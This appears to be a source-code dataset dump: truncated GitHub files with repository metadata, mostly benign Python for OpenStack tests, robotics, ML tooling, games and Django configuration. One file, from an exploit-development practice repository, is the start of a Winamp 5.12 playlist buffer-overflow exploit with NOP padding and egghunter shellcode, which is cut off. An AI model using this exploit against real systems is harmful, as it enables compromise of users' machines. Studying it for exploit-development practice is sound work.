blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
75fe232e7bca4db8501451e05188a587e2f5294d
42c63d5f9c724c99ba93f77bdead51891fcf8623
/OpenStack-Mitaka-src/cinder/cinder/tests/unit/volume/drivers/netapp/dataontap/performance/test_perf_cmode.py
78e5db932b8804b94ff1ab6799b8d2f31f595f67
[ "Apache-2.0" ]
permissive
liyongle/openstack-mitaka
115ae819d42ed9bf0922a8c0ab584fa99a3daf92
5ccd31c6c3b9aa68b9db1bdafcf1b029e8e37b33
refs/heads/master
2021-07-13T04:57:53.488114
2019-03-07T13:26:25
2019-03-07T13:26:25
174,311,782
0
1
null
2020-07-24T01:44:47
2019-03-07T09:18:55
Python
UTF-8
Python
false
false
19,675
py
# Copyright (c) 2016 Clinton Knight # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
[ "yongle.li@gmail.com" ]
yongle.li@gmail.com
a20bf6ef838e3bc181fbdf8b33b85843c307efa8
e4e4bdf367fb83225c5420b0c72617fa315aadd7
/manipulation/robot-interface/src/catkin_ws/src/franka_action_lib/scripts/reset_arm.py
b989108259b1f158d3abd5ad4a507cc4cb0a5d6f
[]
no_license
aaronhd/gastronomy
938414bd73f95fabdfed2f20f812ff9ae81c9f40
b1354a8d246785843666082c22207df484896b5c
refs/heads/master
2020-04-29T23:27:33.273851
2019-03-06T01:18:26
2019-03-06T01:18:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
123
py
from frankapy import FrankaArm if __name__ == '__main__': fa = FrankaArm() fa.reset_joints() fa.open_gripper()
[ "kevinleezhang@gmail.com" ]
kevinleezhang@gmail.com
a1f95d292e8199c0c449208bcf6afd686ea68566
5d368af43460813ba6eb3f78be0f133b6771531b
/winamp5.12/egghunterbadchars1.py
2698cc11ae541ffecb3080ca246b49a8a5c5eec0
[]
no_license
freddiebarrsmith/Advanced-Windows-Exploit-Development-Practice
43bd0a2ec82742cd1a97eedb586def6b878ff032
6b2e6dc81e0a8c0e9475cfc2fdc145d5f6764847
refs/heads/master
2021-06-19T17:04:14.497435
2021-03-06T11:48:39
2021-03-06T11:48:39
195,593,016
29
4
null
null
null
null
UTF-8
Python
false
false
1,282
py
#!/usr/bin/python # Winamp 5.12 Playlist UNC Path Computer Name Overflow Python Exploit #coded in python due to loathing of perl but necessity of use of this exploit for osce start = "[playlist]\r\nFile1=\\\\" nop = "\x90" * 856 #nops #// 32 byte egghunt shellcode (egg=0x57303054) #egghunter shellcode is egghunter = "...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
d22903a054ec6d002eec31a935b90c45e1067c01
ad5b72656f0da99443003984c1e646cb6b3e67ea
/tools/mo/unit_tests/mo/front/tf/sparse_to_dense_replacer_test.py
b0864c64cee27a8af782679bafb82600762ce7e4
[ "Apache-2.0" ]
permissive
novakale/openvino
9dfc89f2bc7ee0c9b4d899b4086d262f9205c4ae
544c1acd2be086c35e9f84a7b4359439515a0892
refs/heads/master
2022-12-31T08:04:48.124183
2022-12-16T09:05:34
2022-12-16T09:05:34
569,671,261
0
0
null
null
null
null
UTF-8
Python
false
false
2,456
py
# Copyright (C) 2018-2022 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import unittest from openvino.tools.mo.front.tf.sparse_to_dense_replacer import SparseToDenseReplacer from openvino.tools.mo.front.common.partial_infer.utils import int64_array from openvino.tools.mo.utils.ir_engine.compare_graphs impor...
[ "noreply@github.com" ]
novakale.noreply@github.com
3b203f43aebf5936595a42af36b5595073717f9d
42516b0348936e257d04113c2e632dc72ba58e91
/test_env/test_suit_cmcc_devci_phone/test_suit_cmcc_devci_phone_case11.py
c2cdb9d3fb2df431e6ea31a9b09ac77a2404b0f8
[]
no_license
wwlwwlqaz/Qualcomm
2c3a225875fba955d771101f3c38ca0420d8f468
a04b717ae437511abae1e7e9e399373c161a7b65
refs/heads/master
2021-01-11T19:01:06.123677
2017-04-05T07:57:21
2017-04-05T07:57:21
79,292,426
1
1
null
null
null
null
UTF-8
Python
false
false
3,474
py
''' @author: wei,xiang ''' import fs_wrapper import settings.common as SC from case_utility import * from logging_wrapper import log_test_case, save_fail_log, print_report_line from test_case_base import TestCaseBase from qrd_shared.case import * from qrd_shared.mms.Mms import * class test_suit_cmcc_devci_phone_cas...
[ "c_wwan@qti.qualcomm.com" ]
c_wwan@qti.qualcomm.com
fce75650a34e1ca07d3b12b5ea5b71ebf057cbd7
ff6248be9573caec94bea0fa2b1e4b6bf0aa682b
/log-20190927/132.230.102.123-10.21.11.40/1569571943.py
64246cef25be2066f710d9bf64ea97db66dbb549
[]
no_license
LennartElbe/codeEvo
0e41b1a7705204e934ef71a5a28c047366c10f71
e89b329bc9edd37d5d9986f07ca8a63d50686882
refs/heads/master
2020-12-21T17:28:25.150352
2020-03-26T10:22:35
2020-03-26T10:22:35
236,498,032
0
0
null
null
null
null
UTF-8
Python
false
false
2,521
py
import functools import typing import string import random import pytest ## Lösung Teil 1. def divisors(n: int) -> list: return [x for x in range(n + 1) if n % x == 0] ###################################################################### ## hidden code def mk_coverage(): covered = set() target = set(rang...
[ "lenni.elbe@gmail.com" ]
lenni.elbe@gmail.com
f4fea997b052b4137c37b8232e2270b25712bc59
8d0be6bdb480caa895b6cea1884b40c51cf25156
/experiment/web-scraping/raw-dig/indiatvnews.py
1d027c64888b8379d3c6ecb1143689f83ece9ec5
[ "MIT" ]
permissive
atb00ker/scripts-lab
8642138574ac3403278c004b2c67f0200b29a83d
71a5cc9c7f301c274798686db4a227e84b65926a
refs/heads/master
2021-09-09T22:15:36.133142
2021-09-04T18:30:31
2021-09-04T18:30:54
163,108,084
2
0
MIT
2019-10-08T19:44:00
2018-12-25T19:54:54
Python
UTF-8
Python
false
false
1,200
py
import requests from lxml import etree from lxml import html import json def scrapeNews: urls = [] newsData = [] pages = eval(input("Enter the number of pages you plan to scrap from IndiaTV: ")) for count in range(1 , pages+1): urls.append('http://www.indiatvnews.com/india/'+ str(count)) fo...
[ "ajay39in@gmail.com" ]
ajay39in@gmail.com
ee899380f78017e76dd9f1cf13a8e814fe7135ef
2324d8e4544a9b813153ce0ed0f858972ea7f909
/31-下一个排列.py
099209c2490be00826ede620b08cd9b89f23b654
[]
no_license
Terry-Ma/Leetcode
af8a4ad8059975f8d12b0351610336f1f5f01097
cc7f41e2fb3ed5734c2a5af97e49a5bc17afbceb
refs/heads/master
2021-08-10T16:40:20.482851
2021-07-03T08:35:56
2021-07-03T08:35:56
225,814,239
0
1
null
null
null
null
UTF-8
Python
false
false
895
py
class Solution: def nextPermutation(self, nums: List[int]) -> None: """ Do not return anything, modify nums in-place instead. """ def reverse(mylist, i, j): while i < j: mylist[i], mylist[j] = mylist[j], mylist[i] i += 1 j -...
[ "rssmyq@aliyun.com" ]
rssmyq@aliyun.com
5afe030de23ee8ba5311d419a689e573ea0092a6
9de3c25fecef3f6b7bd8821e9d9fd80d33b18f63
/conf.py
99a49e102a7022714ec20e2d7ca258048480a4d4
[]
no_license
simonscmap/opedia_docs
b03dde940424c1940da8d5f561283812b8614f95
b8a4ee73fda0e87456564b965bed20a5590fd7f8
refs/heads/master
2020-05-18T21:48:04.048978
2019-09-11T18:48:25
2019-09-11T18:48:25
184,669,187
0
2
null
null
null
null
UTF-8
Python
false
false
5,801
py
# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/master/config # -- Path setup ------------------------------------------------------------...
[ "norlandrhagen@gmail.com" ]
norlandrhagen@gmail.com
ee62b507fa3321ef84efa77006a2d25619df31ff
c6d89d2507efe02ead1802649a769e021795b2b6
/orders/migrations/0002_auto__del_field_order_delivery_price__add_field_order_delivery.py
a4a44550ec4cb9f01f2c5eb0d94cec0b6d7b83c2
[]
no_license
ikonitas/pleasuresallmine
b671b05d2f13428973cc19d39e58d0b56d1914f0
875e6067a202be801a9b1fddb27c4d313fd133f4
refs/heads/master
2021-05-29T19:50:39.812885
2014-11-27T21:22:22
2014-11-27T21:22:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,924
py
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Deleting field 'Order.delivery_price' db.delete_column('orders_order', 'delivery_price_id') # Add...
[ "ikonitas@gmail.com" ]
ikonitas@gmail.com
217bbfd471038cf88a10eee362779d223b49f2d4
dc2682f687a203dcf5f4f4260f857ef5099bbdab
/src/bootstrapping_olympics/programs/manager/__init__.py
2bf0df8c1854a60c2de007c03faad467f57250f3
[]
no_license
AndreaCensi/boot_olympics
1bc3d0cd887ca6b47a159929b53032c298979450
dc05e283bde01cafc4843d82f17413b13c6ce1af
refs/heads/master
2020-07-08T10:49:37.368104
2013-07-19T07:00:22
2013-07-19T07:00:22
2,098,134
0
0
null
null
null
null
UTF-8
Python
false
false
50
py
from .meat import * from .command_line import *
[ "andrea@cds.caltech.edu" ]
andrea@cds.caltech.edu
e2e25865c288843a260b1243863385ee5159295a
337f8f8dfe3b5b937c3c908edf2b6cc033d422f7
/4 chooseMove sans recursion/cassio/chooseMove9.py
e82871d4f476b56f047ba8be20be82bd4c15bdcb
[]
no_license
rayyan-khan/9-othello
8621bc0b1e121f0c6b851bfd532de7c3dd9640ae
e5561797377b20802443b9d5ab35cf4cff190ed9
refs/heads/master
2022-02-21T20:26:56.468280
2019-02-06T04:31:34
2019-02-06T04:31:34
161,864,634
0
0
null
null
null
null
UTF-8
Python
false
false
9,519
py
import sys # 75% # inputs from sys startboard = sys.argv[1].lower() startTkn = sys.argv[2].lower() # global variables NBRS_flips = {} # NBRS_flips = {index: {adjacent indexes}} NBRS_moves = {} # NBRS_moves = {index: {adjacent indexes that moves can be made from}} SUBSETS = [] # SUBSETS = [{nbr: [indexes in subset],...
[ "rayyan.khan258@gmail.com" ]
rayyan.khan258@gmail.com
8aefb52f632da833b5e653e1858834f1d37385b0
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03436/s464764721.py
42eb822e6df7f899cd4c813805b597ee47a332da
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
714
py
from collections import deque H, W = map(int, input().split()) field = [list(input()) for _ in range(H)] cnt_white = 0 for path in field: cnt_white += path.count('.') sy, sx = 0, 0 gy, gx = H - 1, W - 1 dyx = [(1, 0), (-1, 0), (0, 1), (0, -1)] q = deque() q.append((sy, sx, 0)) while q: cy, cx, ct = q.pople...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
3752ccf8eed05bf4271b43fd6ce97c0efaf30a22
fa262aab54ca3fa12acf6216549b1c42a834898c
/scripts/gpsprobe.py
d87286a059161b4a9b02ec6c3d35fc5beaf5f0b9
[]
no_license
2Menno/pypilot
66ad0346e1d9cf0ef8e998396e387d73de4fc15b
5117883c5efccb2a1401449c20fe5349d9b95e53
refs/heads/master
2020-04-26T09:38:14.367500
2019-03-18T18:14:50
2019-03-18T18:14:50
173,462,654
0
0
null
2019-03-02T15:12:52
2019-03-02T15:12:51
null
UTF-8
Python
false
false
3,035
py
#!/usr/local/bin/python # # Copyright (C) 2016 Sean D'Epagnier # # This Program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either # version 3 of the License, or (at your option) any later version. # ...
[ "seandepagnier@gmail.com" ]
seandepagnier@gmail.com
1b2cdedc4824b5b9550c1114802bdd24a15578e8
4a48593a04284ef997f377abee8db61d6332c322
/python/tempfile_named.py
618f69e36674d81ebf8d6253d41ab68c96c92c70
[ "MIT" ]
permissive
jeremiedecock/snippets
8feaed5a8d873d67932ef798e16cb6d2c47609f0
b90a444041c42d176d096fed14852d20d19adaa7
refs/heads/master
2023-08-31T04:28:09.302968
2023-08-21T07:22:38
2023-08-21T07:22:38
36,926,494
26
9
MIT
2023-06-06T02:17:44
2015-06-05T10:19:09
Python
UTF-8
Python
false
false
1,537
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (c) 2016 Jérémie DECOCK (http://www.jdhp.org) # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including witho...
[ "jd.jdhp@gmail.com" ]
jd.jdhp@gmail.com
b8f5c260d6d1b64ab3821dabdc29204d599c663c
8997a0bf1e3b6efe5dd9d5f307e1459f15501f5a
/qt__pyqt__pyside__pyqode/pyqt5_drag_and_drop.py
bedf69adc6162e8c5518b4cd0eefad852f1d1ed9
[ "CC-BY-4.0" ]
permissive
stepik/SimplePyScripts
01092eb1b2c1c33756427abb2debbd0c0abf533f
3259d88cb58b650549080d6f63b15910ae7e4779
refs/heads/master
2023-05-15T17:35:55.743164
2021-06-11T22:59:07
2021-06-11T22:59:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,716
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QWidget, QVBoxLayout, QListWidget class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setWindowTitle('Drag & Drop') # Даем разре...
[ "ilya.petrash@inbox.ru" ]
ilya.petrash@inbox.ru
f56d26c9c79aa38a8af0d428050ff02d5fa3a168
524591f2c4f760bc01c12fea3061833847a4ff9a
/arm/opt/ros/kinetic/lib/python2.7/dist-packages/std_msgs/msg/_Int32MultiArray.py
5c613c9929c5fd56bcd074e2f8e5d28862caf3f5
[ "BSD-3-Clause" ]
permissive
Roboy/roboy_plexus
6f78d45c52055d97159fd4d0ca8e0f32f1fbd07e
1f3039edd24c059459563cb81d194326fe824905
refs/heads/roboy3
2023-03-10T15:01:34.703853
2021-08-16T13:42:54
2021-08-16T13:42:54
101,666,005
2
4
BSD-3-Clause
2022-10-22T13:43:45
2017-08-28T16:53:52
C++
UTF-8
Python
false
false
8,226
py
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from std_msgs/Int32MultiArray.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import std_msgs.msg class Int32MultiArray(genpy.Message): _md5sum = "1d99f79f8b325b44fee90...
[ "simon.trendel@tum.de" ]
simon.trendel@tum.de
0678c30047fd192f3c23c0f39a241b58c491fa58
fb8909f8ca2418e3ee25469073fa06636c3d294b
/src/unity/python/turicreate/toolkits/graph_analytics/connected_components.py
00bb655e89258c463272e446cad25a32e8dc78d8
[ "BSD-3-Clause" ]
permissive
fossabot/turicreate
a1e9d95fc1f68e7074d1d8024ffd64de82463d39
a500d5e52143ad15ebdf771d9f74198982c7c45c
refs/heads/master
2020-12-02T21:45:09.045339
2019-12-31T17:50:02
2019-12-31T17:50:02
231,127,861
0
0
BSD-3-Clause
2019-12-31T17:50:01
2019-12-31T17:50:00
null
UTF-8
Python
false
false
4,869
py
# -*- coding: utf-8 -*- # Copyright © 2017 Apple Inc. All rights reserved. # # Use of this source code is governed by a BSD-3-clause license that can # be found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause from __future__ import print_function as _ from __future__ import division as _ from...
[ "znation@apple.com" ]
znation@apple.com
621a0e7d53fcff171b8f0eeae0d90fd325187f4b
25fc84119e10bb1fbd09d689ba4dccf912de8905
/tests/unit/unmarshalling/test_unmarshal.py
b97b7f8163ea4b873dc828b6b76a9bdafae8b3fa
[ "BSD-3-Clause" ]
permissive
rolaya/openapi-core
96a90a9b4fb4aac978ae3f0522c251840877727e
b6a745c7e97831ffe1af0882ea942711027ac3ec
refs/heads/master
2023-02-25T18:16:37.175791
2021-02-01T22:37:58
2021-02-01T22:37:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,863
py
import datetime import uuid from isodate.tzinfo import UTC, FixedOffset import pytest from openapi_core.schema.media_types.models import MediaType from openapi_core.schema.parameters.models import Parameter from openapi_core.schema.schemas.enums import SchemaType from openapi_core.schema.schemas.models import Schema ...
[ "maciag.artur@gmail.com" ]
maciag.artur@gmail.com
304b9e68620e32086c596c60fd5f47e647d0187b
29034de5799e779643d3c32388907a9418a28adc
/assets/src/ba_data/python/bastd/ui/creditslist.py
154337c12caaf6f27c60dcb2a28b61b9c44c5279
[ "MIT" ]
permissive
SahandAslani/ballistica
5b39a5efaf468d657be7d89b524887155a515fd1
7e3814cd2a1920ea8f5820cb1cdbb4dc5420d30e
refs/heads/master
2022-11-17T05:35:32.959751
2020-07-13T04:21:03
2020-07-13T04:21:03
279,208,529
0
0
null
null
null
null
UTF-8
Python
false
false
12,512
py
# Copyright (c) 2011-2020 Eric Froemling # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish,...
[ "ericfroemling@gmail.com" ]
ericfroemling@gmail.com
4a25cd3061c0577b9f94ad58a7aca41688d883bd
e3945c191c73f460a21da0cf556c6df3aa4f2a36
/siti_django/urls.py
a39ff8b3f2a5a3b163f7a90b82d0087f4950e5b8
[ "MIT" ]
permissive
Amirsorouri00/Siti1-Django
4c7e68e5391fd102fb6d32740997615f6a798add
befb31f148bd7a5ec0ac06d75fd09f4e4ffeff9c
refs/heads/master
2020-04-18T23:16:50.701762
2019-01-27T15:55:35
2019-01-27T15:55:35
167,817,052
0
0
null
null
null
null
UTF-8
Python
false
false
753
py
"""siti_django URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-b...
[ "amirsorouri26@gmail.com" ]
amirsorouri26@gmail.com
e4cbd770c679131ddf06ff43a19150ef24397e0b
0e1e643e864bcb96cf06f14f4cb559b034e114d0
/Exps_7_v3/doc3d/I_w_M_to_W_focus_Zok_div/ch016/wiColorJ/Add2Loss/Sob_k09_s001_Mae_s001_good/pyr_Tcrop255_p20_j15/pyr_3s/L5/step10_b2_post.py
d8ec0dc6db0fa86670147d2efab89dba24430b08
[]
no_license
KongBOy/kong_model2
33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307
1af20b168ffccf0d5293a393a40a9fa9519410b2
refs/heads/master
2022-10-14T03:09:22.543998
2022-10-06T11:33:42
2022-10-06T11:33:42
242,080,692
3
0
null
null
null
null
UTF-8
Python
false
false
6,970
py
############################################################################################################################################################################################################# ##################################################################################################################...
[ "s89334roy@yahoo.com.tw" ]
s89334roy@yahoo.com.tw
52a9ab32a21d000ef94c86bc450f11f31cac0c0d
3b07edf0cd5c546a09ef79fd93ebfd2b04e162e1
/fullstack/nomadcoders-airbnb-clone/server/users/forms.py
da98489f1c5c2b4a1e65c76e9e5189ad30520f25
[]
no_license
neverlish/Learned
603b41f7c6ba3cf4e5eea162f501fc42f8326aa3
47f9160c2e516c8b4d1692f1f7dbf200f1cadbb6
refs/heads/master
2023-06-24T06:03:35.848932
2023-06-10T11:38:53
2023-06-10T11:38:53
78,947,372
8
1
null
2023-09-14T05:26:47
2017-01-14T15:12:57
Jupyter Notebook
UTF-8
Python
false
false
2,291
py
from django import forms from . import models class LoginForm(forms.Form): email = forms.EmailField(widget=forms.EmailInput(attrs={"placeholder": "Email"})) password = forms.CharField( widget=forms.PasswordInput(attrs={"placeholder": "Password"}) ) def clean(self): email = self.clean...
[ "noreply@github.com" ]
neverlish.noreply@github.com
dfc40313c73d93f25ca59b42353235d1a4710302
670c6e3ca408c961817a8a0ebf0e1d78b8c5777a
/shiba/optim/adamW.py
42162a5f75823648e5ed1b18725a7c1ad84210a4
[ "MIT" ]
permissive
A-Jacobson/shiba
666400992e67a27ab7148c3109000f1e289328dc
09fc7a94201f68ccba08d631c1cbc56968608174
refs/heads/master
2023-02-18T13:17:24.493582
2023-02-11T07:47:50
2023-02-11T07:47:50
184,832,591
2
1
MIT
2023-02-11T07:48:22
2019-05-03T23:41:52
Python
UTF-8
Python
false
false
3,208
py
import math import torch from torch.optim.optimizer import Optimizer class AdamW(Optimizer): """Implements AdamW algorithm. It has been proposed in `Fixing Weight Decay Regularization in Adam`_. Arguments: params (iterable): iterable of parameters to optimize or dicts defining paramete...
[ "jacobsonaustinj@gmail.com" ]
jacobsonaustinj@gmail.com
80e3b2142fe9c43a15950d0bbb76706a102ee763
009df7ad499b19a4df066160cf0c7d8b20355dfb
/src/the_tale/the_tale/game/jinjaglobals.py
432a0220064ef0d314f405d85ec91f26ac593eac
[ "BSD-3-Clause" ]
permissive
devapromix/the-tale
c0804c7475e877f12f29444ddbbba025561d3412
2a10efd3270734f8cf482b4cfbc5353ef8f0494c
refs/heads/develop
2020-03-28T20:26:30.492292
2018-10-07T17:32:46
2018-10-07T17:32:46
149,070,887
1
0
BSD-3-Clause
2018-10-07T17:32:47
2018-09-17T04:57:50
Python
UTF-8
Python
false
false
1,297
py
import smart_imports smart_imports.all() @dext_jinja2.jinjaglobal def game_info_url(account=None, client_turns=None): return dext_jinja2.Markup(logic.game_info_url(account_id=account.id if account is not None else None, client_turns=client_turns)) @dext_jinja2...
[ "a.eletsky@gmail.com" ]
a.eletsky@gmail.com
f3c76a86f765c60dc4c3f7a88e9149bf3d15df4e
06051aadd5ca18d90b4aa8e92220b5f0b9f2e5b1
/functions/google_speech_to_text.py
3dc1636c42c0b4128fc2f284ed812edede734b01
[]
no_license
cflin-cjcu/mytools
f37eb6285eabfb30425008189b1d8fc007efd3a6
fffd90de3c783c3e2206feab641c12c12bee3367
refs/heads/master
2023-08-18T17:31:07.179455
2021-09-13T09:34:23
2021-09-13T09:34:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,675
py
from __future__ import division import re import sys from google.cloud import speech from google.cloud.speech import enums from google.cloud.speech import types import pyaudio from six.moves import queue # Audio recording parameters RATE = 16000 CHUNK = int(RATE / 10) # 100ms class MicrophoneStream(object): "...
[ "ch.tseng@sunplusit.com" ]
ch.tseng@sunplusit.com
51aaefff8ac6e83e4a973cca1214a96d2f0b6c2b
7e8dc92dcbac5bee2f688624f66fb5aaf2e2ae6a
/Plugins/Aspose-Slides-Java-for-Jython/asposeslides/WorkingWithCharts/SetLabelDistance.py
ae3271e376fea044c09c3c89737dff6ad0786553
[ "MIT" ]
permissive
Aspose/Aspose.Slides-for-Java
9af6e321d44397f45dfcd53030ad2c616572f719
c6afa392a708eb23941cad76e96d2fe65531c211
refs/heads/master
2020-04-15T08:51:28.943162
2016-04-01T11:25:23
2016-04-01T11:25:23
55,831,260
1
1
null
2016-04-09T07:21:09
2016-04-09T07:21:09
null
UTF-8
Python
false
false
1,028
py
from asposeslides import Settings from com.aspose.slides import Presentation from com.aspose.slides import ChartType from com.aspose.slides import SaveFormat class SetLabelDistance: def __init__(self): dataDir = Settings.dataDir + 'WorkingWithCharts/SetLabelDistance/' ...
[ "fahadadeel@gmail.com" ]
fahadadeel@gmail.com
a78d0323f8daafe139bccd49ef836ff8e17ed2c8
487ce91881032c1de16e35ed8bc187d6034205f7
/codes/CodeJamCrawler/CJ/16_3_1_AhmedZika_1.py
54032e616ff457022bde76c70e26038ecc58d7fa
[]
no_license
DaHuO/Supergraph
9cd26d8c5a081803015d93cf5f2674009e92ef7e
c88059dc66297af577ad2b8afa4e0ac0ad622915
refs/heads/master
2021-06-14T16:07:52.405091
2016-08-21T13:39:13
2016-08-21T13:39:13
49,829,508
2
0
null
2021-03-19T21:55:46
2016-01-17T18:23:00
Python
UTF-8
Python
false
false
2,096
py
from sys import argv script, in_file = argv out = in_file.split(".") out_file = out[0] + "_out.txt" input = open(in_file) content = input.read().splitlines() input.close() test_count = 0 test_cases = [] line_index = 0 results = [] for line in content: if(line_index == 0): test_count = in...
[ "[dhuo@tcd.ie]" ]
[dhuo@tcd.ie]
2a7bcbc070a584419110e078a011bc6d364e0ef1
78f3fe4a148c86ce9b80411a3433a49ccfdc02dd
/2016/09/gas-grades-20160922/graphic_config.py
e6cc4236bf5df14ad35ea85ab6c75ee57c331cbf
[]
no_license
nprapps/graphics-archive
54cfc4d4d670aca4d71839d70f23a8bf645c692f
fe92cd061730496cb95c9df8fa624505c3b291f8
refs/heads/master
2023-03-04T11:35:36.413216
2023-02-26T23:26:48
2023-02-26T23:26:48
22,472,848
16
7
null
null
null
null
UTF-8
Python
false
false
305
py
#!/usr/bin/env python import base_filters COPY_GOOGLE_DOC_KEY = '1eF4fVld8oRqGBm7SQQY8nfzWE15tcjQDt4TUIW8yrGE' USE_ASSETS = False # Use these variables to override the default cache timeouts for this graphic # DEFAULT_MAX_AGE = 20 # ASSETS_MAX_AGE = 300 JINJA_FILTER_FUNCTIONS = base_filters.FILTERS
[ "ahurt@npr.org" ]
ahurt@npr.org
25b7a7b85c100d054157b8af7f9c8382eca65a06
2536bced52cc2875715a20f5c4b0d1cf2138b63e
/bin/pbr
ef26637309b7cef7ad8611976794177e9421ca13
[]
no_license
dx-entity/env_controller
353b1a43dba0b29f183fa88c9f9bb3643f3348f3
d5d74c7587762d96de8a903aaa1580e7f3efa032
refs/heads/master
2021-01-17T20:50:21.354555
2016-07-22T06:50:03
2016-07-22T06:50:03
63,930,230
0
0
null
null
null
null
UTF-8
Python
false
false
243
#!/root/python_pro/env_controller/bin/python2.7 # -*- coding: utf-8 -*- import re import sys from pbr.cmd.main import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "dengxin@iie.ac.cn" ]
dengxin@iie.ac.cn
84f87ca4b7aa87ae46cd6ad2758292b78f1b0a44
d09c6ff7114f69a9326883c5b9fcc70fa994e8a2
/_pycharm_skeletons/renderdoc/CounterDescription.py
2b3c8cb94c65ad7d5acb1a6431f6ca00b032bb67
[ "MIT" ]
permissive
Lex-DRL/renderdoc-py-stubs
3dd32d23c0c8219bb66387e6078244cff453cd83
75d280e4f500ded506f3315a49fc432b37ab4fa6
refs/heads/master
2020-08-22T16:55:39.336657
2019-11-03T01:21:26
2019-11-03T01:21:26
216,441,308
0
0
null
null
null
null
UTF-8
Python
false
false
3,157
py
# encoding: utf-8 # module renderdoc # from P:\1-Scripts\_Python\Py-Autocomplete\renderdoc.pyd # by generator 1.146 # no doc # imports import enum as __enum from .SwigPyObject import SwigPyObject class CounterDescription(SwigPyObject): """ Describes a GPU counter's purpose and result value. """ def __eq__(s...
[ "drl.i3x@gmail.com" ]
drl.i3x@gmail.com
aca2a3158f322e329de7973c6cd8f10fc84a215d
ce6fc44470dcb5fca78cdd3349a7be70d75f2e3a
/CodeForces/ICPC - Northwest Regionals/R.py
3981b30d39e6cc6f3465c892a072006a876b06cf
[]
no_license
cormackikkert/competitive-programming
f3fa287fcb74248ba218ecd763f8f6df31d57424
3a1200b8ff9b6941c422371961a127d7be8f2e00
refs/heads/master
2022-12-17T02:02:40.892608
2020-09-20T11:47:15
2020-09-20T11:47:15
266,775,265
0
0
null
null
null
null
UTF-8
Python
false
false
824
py
import operator as op from functools import reduce def ncr(n, r): if (r<0): return 0 r = min(r, n-r) numer = reduce(op.mul, range(n, n-r, -1), 1) denom = reduce(op.mul, range(1, r+1), 1) return int(numer / denom) n = int(input()) for i in range(n): isGood = True k = input().s...
[ "u6427001@anu.edu.au" ]
u6427001@anu.edu.au
eca3b8f39e6f84b74c651b0151073e9f8b7f311d
232b2e8881a4ba693bea940022d68cc22caeccbb
/config.py
6601fc4a7b60b21a1bb1c897943a1cca5edafae1
[ "MIT" ]
permissive
bryomajor/my-developer-life
b52ea3cd39e5d8226c51c700da32f5daf2489dc7
8332e1da4d24511255b1b7fc02f94ae4352f87a1
refs/heads/master
2022-12-08T08:18:40.266324
2019-10-29T13:40:44
2019-10-29T13:40:44
217,529,308
1
2
MIT
2022-12-08T06:47:28
2019-10-25T12:31:00
Python
UTF-8
Python
false
false
1,221
py
import os class Config: ''' General configuration parent class ''' SECRET_KEY = os.environ.get("SECRET_KEY") SQLALCHEMY_TRACK_MODIFICATIONS = True SQLALCHEMY_DATABASE_URI=os.environ.get("DATABASE_URL") UPLOADED_PHOTOS_DEST ='app/static/photos' MAIL_SERVER = 'smtp.googlemail.com' MAI...
[ "bryomajor@gmail.com" ]
bryomajor@gmail.com
b08b8c13d7f358487f96c0882d395277ae1b5de6
ea44a1681e276b3cc85226b53de217f6096a05d4
